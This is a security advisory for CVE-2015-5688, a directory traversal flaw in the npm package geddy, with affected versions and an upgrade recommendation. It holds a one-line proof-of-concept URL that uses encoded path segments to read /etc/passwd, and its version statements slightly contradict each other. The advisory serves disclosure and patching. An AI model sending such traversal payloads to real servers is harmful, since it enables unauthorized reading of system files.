Directory Traversal in geddy (GHSA-333x-9vgq-v2j4)
Published: 2017-10-24T18:33:36Z
Aliases: CVE-2015-5688
Severity: HIGH · CWE: CWE-22

Versions 13.0.8 and earlier of geddy are vulnerable to a directory traversal attack via URI encoded attack vectors.

### Proof of Concept
```
http://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
```


## Recommendation

Update geddy to version >= 13.0.8

Affected packages:
package: ecosystem: npm
name: geddy
ranges: type: ECOSYSTEM
events: introduced: 0
fixed: 13.0.8